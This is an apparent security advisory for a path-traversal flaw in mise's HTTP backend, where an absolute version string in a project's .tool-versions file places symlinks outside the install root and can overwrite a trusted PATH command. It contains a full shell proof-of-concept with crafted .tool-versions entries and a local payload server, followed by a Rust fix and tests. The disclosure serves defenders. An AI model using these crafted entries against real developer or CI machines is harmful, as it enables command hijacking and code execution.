hol-guard supply-chain scanmise HTTP backend uses raw version path for install symlink destination affects mise (rust). Severity is medium. ## Summary The mise HTTP backend builds its install symlink destination from the raw resolved version string for non-latest versions. Normal tool install paths use the sanitized version pathname, but the HTTP backend's symlink path uses the raw value. On Unix-like systems, if that version is an absolute path, `PathBuf::join` discards the intended mise installs root. A repository-controlled `.tool-versions` file can therefore make `mise install` create a symlink outside the mise install tree. With `bin_path`, the same issue can place an executable symlink under an attacker-selected absolute prefix, such as a developer-tool prefix that is later added to `PATH`. The reproducer below also models a CI/developer workflow where a later step executes a preexisting trusted command from a user-local `PATH` prefix. The absolute-version HTTP entry replaces that command with a symlink to downloaded HTTP content. A non-absolute version control does not replace the trusted `PATH` command. ## Affected Code In `src/backend/http.rs`, `create_install_symlink()` derives the destination path from raw `tv.version`: ```rust let version_name = if tv.version == "latest" || tv.version.is_empty() { &cache_key[..7.min(cache_key.len())] } else { &tv.version }; let install_path = tv.ba().installs_path.join(version_name); ``` `ToolVersion::tv_pathname()` already sanitizes `:` and `/` for filesystem version directory names, but this HTTP backend path does not use it. ## Impact Proven: - Outside-root symlink creation from a repository-controlled `.tool-versions` entry. - Executable symlink materialization under an attacker-selected absolute prefix when `bin_path` is configured. - The executable symlink can be run if that prefix's `bin` directory is on `PATH`. - Replacement of a preexisting command in a trusted `PATH` prefix in a local workflow-chain model, followed by execution of the replaced command by name. Not claimed: - `mise install` does not automatically execute the placed binary in the reproducer. - Windows drive-letter absolute paths are not claimed; the demonstrated impact is Unix-like path behavior. - Credential theft is not claimed. ## Why This Crosses A Boundary `.tool-versions` is an asdf-compatible project file and is parsed without the `mise.toml` trust gate used for configuration features that can execute code or affect the environment. Even if a project can choose tools to install, an install operation should keep HTTP backend materialization under the selected mise install/cache roots unless the user explicitly performs a trusted link or path operation. The HTTP backend documentation describes HTTP tool installations as symlinks under the mise installs directory, for example: ```text $MISE_DATA_DIR/installs/http-my-tool/1.0.0 -> $MISE_CACHE_DIR/http-tarballs/... ``` The observed behavior instead allows the project version string to choose an absolute install destination. ## Reproduction The script below performs three local checks: 1. It creates a `.tool-versions` entry whose HTTP backend version is an absolute path, then confirms that mise creates a symlink at that outside path. 2. It creates a second HTTP backend entry with `bin_path=bin` and confirms that mise places an executable symlink under an attacker-selected absolute prefix and that the symlink is executable when the prefix's `bin` directory is on `PATH`. 3. It creates a preexisting trusted command in a user-local `PATH` prefix, runs `mise install` from a project `.tool-versions` file, and confirms the later trusted command execution is replaced only in the absolute-version case. A non-absolute version control leaves the preexisting command in place. The script uses a loopback HTTP server and temporary directories only. ```sh #!/bin/sh set -eu if ! command -v mise >/dev/null 2>&1; then echo "mise must be on PATH" >&2 exit 1 fi if ! command -v python3 >/dev/null 2>&1; then echo "python3 must be on PATH for the loopback HTTP server" >&2 exit 1 fi ROOT="$(mktemp -d)" OUT="$ROOT/out" DATA="$ROOT/data" CACHE="$ROOT/cache" STATE="$ROOT/state" CONFIG="$ROOT/config" WWW="$ROOT/www" cleanup() { if [ -n "${SERVER_PID:-}" ]; then kill "$SERVER_PID" 2>/dev/null || true fi rm -rf "$ROOT" } trap cleanup EXIT mkdir -p "$OUT" "$DATA" "$CACHE" "$STATE" "$CONFIG" "$WWW" cat > "$WWW/payload" <<'PAYLOAD' #!/bin/sh if [ -n "${CHAIN_MARKER:-}" ]; then echo ATTACKER_CONTROLLED_TRUSTED_COMMAND > "$CHAIN_MARKER" else echo MISE_HTTP_ABSOLUTE_VERSION_EXECUTED > "$MISE_HTTP_ABSOLUTE_VERSION_MARKER" fi PAYLOAD chmod +x "$WWW/payload" ( cd "$WWW" python3 -m http.server 54321 --bind 127.0.0.1 >/dev/null 2>&1 ) & SERVER_PID=$! sleep 1 PROJECT1="$ROOT/project-host-write" mkdir -p "$PROJECT1" cat > "$PROJECT1/.tool-versions" <<EOF1 http:absolute-version-one[url=http://127.0.0.1:54321/payload,bin=owned-one] $OUT/owned-link EOF1 ( cd "$PROJECT1" MISE_DATA_DIR="$DATA" \ MISE_CACHE_DIR="$CACHE" \ MISE_STATE_DIR="$STATE" \ MISE_CONFIG_DIR="$CONFIG" \ MISE_YES=1 \ mise install --yes ) if [ ! -L "$OUT/owned-link" ]; then echo "FAIL: outside symlink was not created" >&2 exit 1 fi PROJECT2="$ROOT/project-bin-path" mkdir -p "$PROJECT2" cat > "$PROJECT2/.tool-versions" <<EOF2 http:absolute-version-two[url=http://127.0.0.1:54321/payload,bin=ownedcmd,bin_path=bin] $OUT/selected-prefix EOF2 rm -rf "$DATA" "$CACHE" "$STATE" "$CONFIG" mkdir -p "$DATA" "$CACHE" "$STATE" "$CONFIG" ( cd "$PROJECT2" MISE_DATA_DIR="$DATA" \ MISE_CACHE_DIR="$CACHE" \ MISE_STATE_DIR="$STATE" \ MISE_CONFIG_DIR="$CONFIG" \ MISE_YES=1 \ mise install --yes ) if [ ! -L "$OUT/selected-prefix/bin/ownedcmd" ]; then echo "FAIL: executable symlink was not created under selected prefix" >&2 exit 1 fi MARKER="$OUT/executed-marker" MISE_HTTP_ABSOLUTE_VERSION_MARKER="$MARKER" \ PATH="$OUT/selected-prefix/bin:$PATH" \ ownedcmd if ! grep -q MISE_HTTP_ABSOLUTE_VERSION_EXECUTED "$MARKER"; then echo "FAIL: executable symlink did not run" >&2 exit 1 fi echo "VULNERABLE_BEHAVIOR_CONFIRMED" echo "outside symlink: $OUT/owned-link -> $(readlink "$OUT/owned-link")" echo "path executable: $OUT/selected-prefix/bin/ownedcmd -> $(readlink "$OUT/selected-prefix/bin/ownedcmd")" run_path_chain_case() { case_name="$1" version="$2" expected="$3" CASE_ROOT="$ROOT/$case_name" HOME_DIR="$CASE_ROOT/home" CASE_DATA="$CASE_ROOT/data" CASE_CACHE="$CASE_ROOT/cache" CASE_STATE="$CASE_ROOT/state" CASE_CONFIG="$CASE_ROOT/config" CASE_PROJECT="$CASE_ROOT/project" CASE_MARKER="$CASE_ROOT/marker" if [ "$version" = "__HOME_LOCAL_PREFIX__" ]; then version="$HOME_DIR/.local" fi mkdir -p "$HOME_DIR/.local/bin" "$CASE_DATA" "$CASE_CACHE" "$CASE_STATE" "$CASE_CONFIG" "$CASE_PROJECT" cat > "$HOME_DIR/.local/bin/trustedcmd" <<'SAFE' #!/bin/sh echo SAFE_PREEXISTING_TRUSTED_COMMAND > "$CHAIN_MARKER" SAFE chmod +x "$HOME_DIR/.local/bin/trustedcmd" cat > "$CASE_PROJECT/.tool-versions" <<EOF3 http:path-chain[url=http://127.0.0.1:54321/payload,bin=trustedcmd,bin_path=bin] $version EOF3 ( cd "$CASE_PROJECT" HOME="$HOME_DIR" \ MISE_DATA_DIR="$CASE_DATA" \ MISE_CACHE_DIR="$CASE_CACHE" \ MISE_STATE_DIR="$CASE_STATE" \ MISE_CONFIG_DIR="$CASE_CONFIG" \ MISE_YES=1 \ mise install --yes ) CHAIN_MARKER="$CASE_MARKER" \ PATH="$HOME_DIR/.local/bin:$PATH" \ trustedcmd observed="$(cat "$CASE_MARKER")" if [ "$observed" != "$expected" ]; then echo "FAIL: $case_name expected $expected but saw $observed" >&2 exit 1 fi if [ "$case_name" = "path-chain-vulnerable" ] && [ ! -L "$HOME_DIR/.local/bin/trustedcmd" ]; then echo "FAIL: path-chain case did not replace trustedcmd with a symlink" >&2 exit 1 fi } run_path_chain_case path-chain-vulnerable "__HOME_LOCAL_PREFIX__" ATTACKER_CONTROLLED_TRUSTED_COMMAND run_path_chain_case path-chain-control "1.0.0" SAFE_PREEXISTING_TRUSTED_COMMAND echo "PATH_CHAIN_CONFIRMED" ``` Expected vulnerable markers: ```text VULNERABLE_BEHAVIOR_CONFIRMED PATH_CHAIN_CONFIRMED ``` ## Candidate Fix Use `tv.tv_pathname()` for non-latest HTTP install symlink names, preserving the current content-addressed behavior for `latest` or empty versions. ```diff diff --git a/src/backend/http.rs b/src/backend/http.rs index 4e4e972..18cf8a1 100644 --- a/src/backend/http.rs +++ b/src/backend/http.rs @@ -518,12 +518,12 @@ impl HttpBackend { // Determine version name for install path let version_name = if tv.version == "latest" || tv.version.is_empty() { - &cache_key[..7.min(cache_key.len())] // Content-based versioning + cache_key[..7.min(cache_key.len())].to_string() // Content-based versioning } else { - &tv.version + tv.tv_pathname() }; - let install_path = tv.ba().installs_path.join(version_name); + let install_path = tv.ba().installs_path.join(&version_name); // Clean up existing install if install_path.exists() { @@ -839,3 +839,51 @@ impl Backend for HttpBackend { } } } + +#[cfg(test)] +mod tests { + use super::*; + use crate::cli::args::{BackendArg, BackendResolution}; + use crate::toolset::{ToolRequest, ToolSource, ToolVersionOptions}; + + fn http_test_tv(version: &str) -> ToolVersion { + let backend = Arc::new(BackendArg::new_raw( + "http-absolute-version".to_string(), + Some("http:absolute-version".to_string()), + "absolute-version".to_string(), + None, + BackendResolution::new(true), + )); + let request = ToolRequest::Version { + backend, + version: version.to_string(), + options: ToolVersionOptions::default(), + source: ToolSource::Argument, + }; + ToolVersion::new(request, version.to_string()) + } + + #[test] + fn install_symlink_path_uses_sanitized_version_pathname() { + let tv = http_test_tv("/outside-root/mise-http-version-out/selected-prefix"); + + assert_eq!( + tv.tv_pathname(), + "-outside-root-mise-http-version-out-selected-prefix" + ); + assert!(!Path::new(&tv.tv_pathname()).is_absolute()); + } + + #[test] + fn latest_install_symlink_still_uses_content_version() { + let tv = http_test_tv("latest"); + let cache_key = "abcdef123456"; + let version_name = if tv.version == "latest" || tv.version.is_empty() { + cache_key[..7.min(cache_key.len())].to_string() + } else { + tv.tv_pathname() + }; + + assert_eq!(version_name, "abcdef1"); + } +} ``` Reporter: JUNYI LIU
AI coding agents often install or upgrade packages automatically in rust. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| miserust | <=2026.5.16 | 2026.6.1 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard